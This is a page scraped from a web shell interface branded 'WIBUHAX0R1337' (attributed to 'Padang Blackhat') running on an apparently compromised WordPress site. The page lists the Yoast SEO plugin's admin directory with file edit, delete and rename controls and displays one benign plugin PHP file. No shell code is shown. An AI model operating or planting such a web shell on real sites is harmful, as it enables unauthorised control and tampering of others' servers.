-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
public_html
/
wp-content
/
plugins
/
wordpress-seo
/
admin
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
ajax
--
NONE
capabilities
--
NONE
endpoints
--
NONE
exceptions
--
NONE
filters
--
NONE
formatter
--
NONE
google_search_console
--
NONE
import
--
NONE
listeners
--
NONE
menu
--
NONE
metabox
--
NONE
notifiers
--
NONE
pages
--
NONE
roles
--
NONE
ryte
--
NONE
services
--
NONE
statistics
--
NONE
taxonomy
--
NONE
tracking
--
NONE
views
--
NONE
watchers
--
NONE
.htaccess
0.231KB
Edit File
Delete File
Rename
admin-settings-changed-listener.php
2.347KB
Edit File
Delete File
Rename
ajax.php
8.897KB
Edit File
Delete File
Rename
class-admin-asset-analysis-worker-location.php
1.806KB
Edit File
Delete File
Rename
class-admin-asset-dev-server-location.php
1.955KB
Edit File
Delete File
Rename
class-admin-asset-location.php
0.477KB
Edit File
Delete File
Rename
class-admin-asset-manager.php
18.951KB
Edit File
Delete File
Rename
class-admin-asset-seo-location.php
2.076KB
Edit File
Delete File
Rename
class-admin-asset-yoast-components-l10n.php
1.969KB
Edit File
Delete File
Rename
class-admin-editor-specific-replace-vars.php
6.341KB
Edit File
Delete File
Rename
class-admin-gutenberg-compatibility-notification.php
2.525KB
Edit File
Delete File
Rename
class-admin-help-panel.php
2.695KB
Edit File
Delete File
Rename
class-admin-init.php
14.217KB
Edit File
Delete File
Rename
class-admin-recommended-replace-vars.php
5.982KB
Edit File
Delete File
Rename
class-admin-user-profile.php
2.676KB
Edit File
Delete File
Rename
class-admin-utils.php
2.097KB
Edit File
Delete File
Rename
class-admin.php
12.29KB
Edit File
Delete File
Rename
class-asset.php
3.922KB
Edit File
Delete File
Rename
class-bulk-description-editor-list-table.php
2.051KB
Edit File
Delete File
Rename
class-bulk-editor-list-table.php
27.823KB
Edit File
Delete File
Rename
class-bulk-title-editor-list-table.php
2.232KB
Edit File
Delete File
Rename
class-collector.php
0.961KB
Edit File
Delete File
Rename
class-config.php
5.708KB
Edit File
Delete File
Rename
class-customizer.php
6.196KB
Edit File
Delete File
Rename
class-database-proxy.php
7.27KB
Edit File
Delete File
Rename
class-export.php
3.265KB
Edit File
Delete File
Rename
class-expose-shortlinks.php
5.814KB
Edit File
Delete File
Rename
class-helpscout.php
6.809KB
Edit File
Delete File
Rename
class-meta-columns.php
21.856KB
Edit File
Delete File
Rename
class-my-yoast-proxy.php
5.247KB
Edit File
Delete File
Rename
class-option-tab.php
1.766KB
Edit File
Delete File
Rename
class-option-tabs-formatter.php
2.267KB
Edit File
Delete File
Rename
class-option-tabs.php
2.048KB
Edit File
Delete File
Rename
class-plugin-availability.php
8.242KB
Edit File
Delete File
Rename
class-plugin-conflict.php
3.934KB
Edit File
Delete File
Rename
class-premium-upsell-admin-block.php
3.462KB
Edit File
Delete File
Rename
class-primary-term-admin.php
7.09KB
Edit File
Delete File
Rename
class-product-upsell-notice.php
5.094KB
Edit File
Delete File
Rename
class-remote-request.php
3.094KB
Edit File
Delete File
Rename
class-schema-person-upgrade-notification.php
2.142KB
Edit File
Delete File
Rename
class-suggested-plugins.php
5.18KB
Edit File
Delete File
Rename
class-yoast-columns.php
3.204KB
Edit File
Delete File
Rename
class-yoast-dashboard-widget.php
4.176KB
Edit File
Delete File
Rename
class-yoast-form.php
31.425KB
Edit File
Delete File
Rename
class-yoast-input-validation.php
10.469KB
Edit File
Delete File
Rename
class-yoast-network-admin.php
9.461KB
Edit File
Delete File
Rename
class-yoast-network-settings-api.php
4.176KB
Edit File
Delete File
Rename
class-yoast-notification-center.php
23.683KB
Edit File
Delete File
Rename
class-yoast-notification.php
9.386KB
Edit File
Delete File
Rename
class-yoast-notifications.php
8.578KB
Edit File
Delete File
Rename
class-yoast-plugin-conflict.php
10.526KB
Edit File
Delete File
Rename
index.php
0.037KB
Edit File
Delete File
Rename
interface-collection.php
0.251KB
Edit File
Delete File
Rename
interface-installable.php
0.248KB
Edit File
Delete File
Rename
<?php /** * WPSEO plugin file. * * @package WPSEO\Admin */ use Yoast\WP\SEO\Config\Schema_Types; /** * Class WPSEO_Admin_Pages. * * Class with functionality for the Yoast SEO admin pages. */ class WPSEO_Admin_Pages { /** * The option in use for the current admin page. * * @var string */ public $currentoption = 'wpseo'; /** * Holds the asset manager. * * @var WPSEO_Admin_Asset_Manager */ private $asset_manager; /** * Class constructor, which basically only hooks the init function on the init hook. */ public function __construct() { add_action( 'init', [ $this, 'init' ], 20 ); $this->asset_manager = new WPSEO_Admin_Asset_Manager(); } /** * Make sure the needed scripts are loaded for admin pages. */ public function init() { if ( filter_input( INPUT_GET, 'wpseo_reset_defaults' ) && wp_verify_nonce( filter_input( INPUT_GET, 'nonce' ), 'wpseo_reset_defaults' ) && current_user_can( 'manage_options' ) ) { WPSEO_Options::reset(); } add_action( 'admin_enqueue_scripts', [ $this, 'config_page_scripts' ] ); add_action( 'admin_enqueue_scripts', [ $this, 'config_page_styles' ] ); } /** * Loads the required styles for the config page. */ public function config_page_styles() { wp_enqueue_style( 'dashboard' ); wp_enqueue_style( 'thickbox' ); wp_enqueue_style( 'global' ); wp_enqueue_style( 'wp-admin' ); $this->asset_manager->enqueue_style( 'select2' ); $this->asset_manager->enqueue_style( 'admin-css' ); $page = filter_input( INPUT_GET, 'page' ); if ( $page === 'wpseo_titles' ) { $this->asset_manager->enqueue_style( 'search-appearance' ); } if ( $page === 'wpseo_social' || $page === 'wpseo_licenses' ) { $this->asset_manager->enqueue_style( 'monorepo' ); } } /** * Loads the required scripts for the config page. */ public function config_page_scripts() { $this->asset_manager->enqueue_script( 'settings' ); wp_enqueue_script( 'dashboard' ); wp_enqueue_script( 'thickbox' ); $alert_dismissal_action = YoastSEO()->classes->get( \Yoast\WP\SEO\Actions\Alert_Dismissal_Action::class ); $dismissed_alerts = $alert_dismissal_action->all_dismissed(); $script_data = [ 'userLanguageCode' => WPSEO_Language_Utils::get_language( \get_user_locale() ), 'dismissedAlerts' => $dismissed_alerts, ]; $page = filter_input( INPUT_GET, 'page' ); if ( $page === 'wpseo_titles' ) { $script_data['analysis'] = [ 'plugins' => [ 'replaceVars' => $this->get_replace_vars_script_data(), ], ]; $schema_types = new Schema_Types(); $script_data['searchAppearance'] = [ 'isRtl' => is_rtl(), 'userEditUrl' => add_query_arg( 'user_id', '{user_id}', admin_url( 'user-edit.php' ) ), 'brushstrokeBackgroundURL' => plugins_url( 'images/brushstroke_background.svg', WPSEO_FILE ), 'showLocalSEOUpsell' => $this->should_show_local_seo_upsell(), 'localSEOUpsellURL' => WPSEO_Shortlinker::get( 'https://yoa.st/3mp' ), 'knowledgeGraphCompanyInfoMissing' => WPSEO_Language_Utils::get_knowledge_graph_company_info_missing_l10n(), 'schema' => [ 'pageTypeOptions' => $schema_types->get_page_type_options(), 'articleTypeOptions' => $schema_types->get_article_type_options(), ], ]; /** * Remove the emoji script as it is incompatible with both React and any * contenteditable fields. */ remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); } if ( in_array( $page, [ 'wpseo_social', WPSEO_Admin::PAGE_IDENTIFIER, 'wpseo_titles', 'wpseo_workouts' ], true ) ) { wp_enqueue_media(); $script_data['media'] = [ 'choose_image' => __( 'Use Image', 'wordpress-seo' ), ]; } if ( $page === 'wpseo_tools' ) { $this->enqueue_tools_scripts(); } if ( $page === 'wpseo_social' ) { $script_data['social'] = true; } $this->asset_manager->localize_script( 'settings', 'wpseoScriptData', $script_data ); $this->asset_manager->enqueue_user_language_script(); } /** * Retrieves some variables that are needed for replacing variables in JS. * * @return array The replacement and recommended replacement variables. */ public function get_replace_vars_script_data() { $replace_vars = new WPSEO_Replace_Vars(); $recommended_replace_vars = new WPSEO_Admin_Recommended_Replace_Vars(); $editor_specific_replace_vars = new WPSEO_Admin_Editor_Specific_Replace_Vars(); $replace_vars_list = $replace_vars->get_replacement_variables_list(); return [ 'replace_vars' => $replace_vars_list, 'recommended_replace_vars' => $recommended_replace_vars->get_recommended_replacevars(), 'editor_specific_replace_vars' => $editor_specific_replace_vars->get(), 'shared_replace_vars' => $editor_specific_replace_vars->get_generic( $replace_vars_list ), 'hidden_replace_vars' => $replace_vars->get_hidden_replace_vars(), ]; } /** * Determines whether the Local SEO upsell should be shown. * * The Local SEO upsell should: * - Only be shown in Free, not when Premium is active. * - Not be shown when Local SEO is active. * * @return bool Whether the Local SEO upsell should be shown. */ private function should_show_local_seo_upsell() { return ! YoastSEO()->helpers->product->is_premium() && ! ( defined( 'WPSEO_LOCAL_FILE' ) ); } /** * Enqueues and handles all the tool dependencies. */ private function enqueue_tools_scripts() { $tool = filter_input( INPUT_GET, 'tool' ); if ( empty( $tool ) ) { $this->asset_manager->enqueue_script( 'yoast-seo' ); } if ( $tool === 'bulk-editor' ) { $this->asset_manager->enqueue_script( 'bulk-editor' ); } } }
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat